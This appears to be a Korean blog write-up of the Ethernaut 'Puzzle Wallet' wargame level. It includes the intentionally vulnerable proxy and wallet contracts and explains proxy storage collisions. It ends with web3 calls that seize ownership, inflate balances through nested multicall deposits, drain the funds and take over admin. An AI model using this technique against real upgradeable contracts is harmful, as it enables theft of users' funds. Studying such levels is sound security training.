// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions
by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug,
and they also wanted to prevent people from outside the group from using it.
To do so, they voted and assigned two people with special roles in the system:
The admin, which has the power of updating the logic of the smart contract.
The owner, which controls the whitelist of addresses allowed to use the contract.
The contracts were deployed, and the group was whitelisted.
Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You’ll need to hijack this wallet to become the admin of the proxy.
Things that might help:
- Understanding how delegatecalls work and how msg.sender and msg.value behaves when performing one.
- Knowing about proxy patterns and the way they handle storage variables.
admin은 컨트랙트 로직을 업데이트할 수 있는 권한을 가지고 있고,
owner는 컨트랙트를 사용할 수 있는 whitelist를 관리할 수 있다.
admin 권한을 탈취해라!
블록체인의 특성 상 컨트랙트는 한 번 디플로이하면 수정할 수 없다. 이러한 특징은 치명적인 단점을 갖는다. 이론상으로는(?) 컨트랙트에서 결함이 발견되면 고칠 수 있는 방법이 없다. 다시 컨트랙트를 배포하면 해결될 것 같지만 컨트랙트의 storage에 남아있는 중요한 정보들을 복구하기가 쉽지 않다. 해당 dApp을 이용하는 사용자가 적으면 몰라도 수 많은 사용자들이 남긴 정보들을 가져오고 다시 정리하는 것은 시간도 오래걸리고 비용도 많이 든다. 이러한 문제를 해결하기 위해 Proxy pattern이 등장한다. 기존 컨트랙트를 역할에 따라 두 개로 쪼갠다.
- 사용자들의 정보를 저장하는
Proxy 컨트랙트
- 로직을 담당하는
Implementation 컨트랙트
이렇게 둘로 나눴을 때 로직에서 결함이 발견된다면 Implementation 컨트랙트
를 수정해서 다시 배포하면 된다. 사용자들의 정보는 Proxy 컨트랙트
에 여전히 남아있을 것이고, delegatecall
을 통해 수정된 로직을 호출하면 되기 때문이다. 위 예제에서 PuzzleProxy 컨트랙트는 Proxy 컨트랙트
가 되고, PuzzleWallet 컨트랙트는 Implementation 컨트랙트
에 해당한다.
하지만 무작정 컨트랙트를 나누기만 하면 되는 게 아니다. 위 사진에서 볼 수 있듯이 Proxy 컨트랙트
와 Implementation 컨트랙트
의 storage 위치가 겹치면 collision이 발생한다. 이렇게 되면 var1
에 저장된 주소가 implementation
주소 값을 덮어씌울 수 있다.
이를 해결하기 위해서 Proxy 컨트랙트
에 저장되는 값들이 랜덤한 slot에 저장되도록 해야 한다.
보통 Implementation 컨트랙트
의 주소를 업데이트하기 위해 사용하는 함수다. upgradeTo
함수가 Proxy 컨트랙트
에 있으면 Transparent Proxy pattern이라 하고, Implementation 컨트랙트
에 있으면 UUPS Proxy pattern이라 한다.
0.4에서 0.7버전까지는 standard ABI coder가 있었는데 dynamic array 사용 불가, 컨트랙트 간에 struct를 사용할 수 없는 등 여러 제약이 있었다. 그래서 나온 게 ABI v2다. 앞서 말했던 불편한 부분들을 개선해서 struct와 dynamic variable 등이 함수에 전달될 수 있고 반환될 수 있게 만들었다. 0.8버전 이전까지 exprimental을 붙여서 임시적으로 사용했지만 0.8버전이 나오고 정식으로 채택되면서 ABIEncoderV2라는 이름으로 exprimental 없이 사용가능해졌다.
PuzzleProxy 컨트랙트의 constructor 부분을 보면 bytes memory _initData
가 있다. 여기에 들어가는 데이터는 delegate call을 호출할 때 implementation 컨트랙트로 전송된다.
컨트랙트의 허점은 Storage Collision
에 있다. Proxy 컨트랙트의 slot과 Implementation 컨트랙트
의 slot에 서로 다른 변수가 할당되어 있기 때문에 Storage Collision이 발생한다. 따라서 이 점을 이용하면 admin을 가져올 수 있을 것이다.
조금 더 구체적으로 살펴보자. 현재 우리가 원하는 목표는 admin을 가져오는 것이다. Storage Collision을 이용해서 maxBalance
를 내 메타마스크 주소로 바꾸면 자연스럽게 admin도 메타마스크 주소로 변경 될 것이다. maxBalance
를 바꾸는 함수는 두 가지가 있다.
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
그런데 init()
함수는 이미 maxBalance가 설정된 상태로 디플로이 됐기 때문에 건들 수 없다. 따라서 setMaxBalance
를 이용해야 한다. 그러기 위해선 두 가지 조건이 필요하다. 첫째는 whitelist에 들어가야 하고, 둘째는 컨트랙트의 balance가 0
이어야 한다. 산넘어 산이다..
일단 whitelist가 되기 위해선 어떻게 해야 할까? addToWhitelist()
함수를 이용하면 된다. 하지만 owner가 되어야 하는 전제조건이 붙는다.
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
그럼 owner는 어떻게 해야 가져올 수 있을까? 위 사진에서 볼 수 있듯이Storage Collision
을 이용해서 pendingAdmin을 통해 수정하면 된다. pendingAdmin은 아래 함수를 이용해서 바꿀 수 있다. 친절하게도 external로 선언됐기 때문에 제약 없이 호출할 수 있다.
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
인스턴스의 ABI를 살펴보면 proposeNewAdmin
이 없다. 따라서 web3.eth.sendTransaction
의 data field를 통해 호출하면 된다. data field는 ABI byte 형태로 채워야 하기 때문에 encodeFunctionCall
을 이용해 byte 형태로 만들어주면 된다.
functionSignature = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin'
}
]
}
params = [player]
data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
await web3.eth.sendTransaction({from: player, to: instance, data})
이제 거의 다 온 것 같다. owner를 가져오고 whitelist에 추가된 상태라면 이제 남은 것은 컨트랙트의 balance를 0
으로 만들기만 하면 된다. execute()
함수를 이용하면 될 것 같다. 그런데 당연히 deposit 한 만큼만 인출할 수 있다. 우리가 넣은 돈보다 더 많은 돈을 인출하기 위해선 어떻게 해야할까?
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
우리가 아직 활용하지 않은 함수가 하나 있다. multicall()
함수는 힌트에서 설명한 대로 여러 번 함수 호출 시 가스비를 절약하기 위해 만들어 놓은 함수다. multicall()
을 통해 인출을 두 번 하면 컨트랙트 잔고를 0으로 만들 수 있을까? 아쉽게도 balances[]
에서 확인하기 때문에 실패할 것이다. 그렇다면 결론은 balances[]
자체를 속여야 한다.
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
multicall()
로 deposit을 두 번 하면 balances[]
를 속일 수 있을까? 하지만 if문에 걸려서 deposit은 한 번 밖에 못 한다. 여기서 내가 생각지도 못 했던 방법이 등장한다. 바로 muticall()
로 muticall()
을 호출하는 것이다. 이게 가능한가 싶다가도 안 된다고 한 적은 없다. 재호출한 muticall()
안에서 각자 deposit을 호출하면 if문의 제약 없이 두 번 deposit 할 수 있다. 이렇게 되면 한 트랜잭션 안에서 두 번의 deposit이 발생하기 때문에 balances[]
를 속일 수 있다고 한다.(솔직히 이 부분은 아직까지도 완벽히 이해하지 못 했다. 한 번의 트랜잭션 안에서 일어났다고 하더라도 deposit은 두 번 다 유효할텐데 어떻게 내가 넣은 양보다 더 많은 돈을 인출할 수 있을까..)
// deposit() method
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// multicall() method with param of deposit function call signature
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
이제 execute()
로 컨트랙트에 있는 모든 돈을 빼내고 player 주소를 MaxBalance로 설정하면 admin을 가져올 수 있다!!
await contract.execute(player, toWei('0.002'), 0x0)
await contract.setMaxBalance(player)